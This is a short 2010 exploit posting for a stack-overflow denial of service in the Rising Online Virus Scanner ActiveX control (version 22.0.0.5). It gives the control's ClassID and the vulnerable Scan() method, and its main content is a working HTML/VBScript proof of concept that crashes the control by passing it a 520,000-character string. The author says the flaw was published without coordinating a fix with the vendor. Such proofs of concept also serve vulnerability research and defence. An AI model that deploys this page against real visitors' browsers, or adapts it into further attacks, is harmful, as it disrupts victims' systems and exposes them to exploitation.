risingonline-dos.txt
Posted on 18 February 2010
# Exploit Title: Rising Online Virus Scanner ActiveX Control DoS (Stack overflow) # Date: 17/02/2010 # Author: wirebonder # Software Link: http://www.rising-global.com/products/online-scanner-intro.html # Version: 22.0.0.5 # Tested on: Windows XP sp3 # CVE : n/a # Code : ## # ProgID: RavOLCtlLib.RavOnline # ClassID: 9FAFB576-6933-4CCC-AB3D-B988EC43D04E # Member: Scan() # File: C:ProgrammeRisingRavOLRavOLCtl.dll # script safe: true # init safe: true # # Because Bullshit like this is unsaleable and i don't want to waste time # coordinating patches with this vendor this is a fulldisc publishing. ## <html> <body> <object classid='clsid:9FAFB576-6933-4CCC-AB3D-B988EC43D04E' id='obj'></object> <script language='vbscript'> buf=String(520000, "A") obj.Scan buf </script> </body> </html>
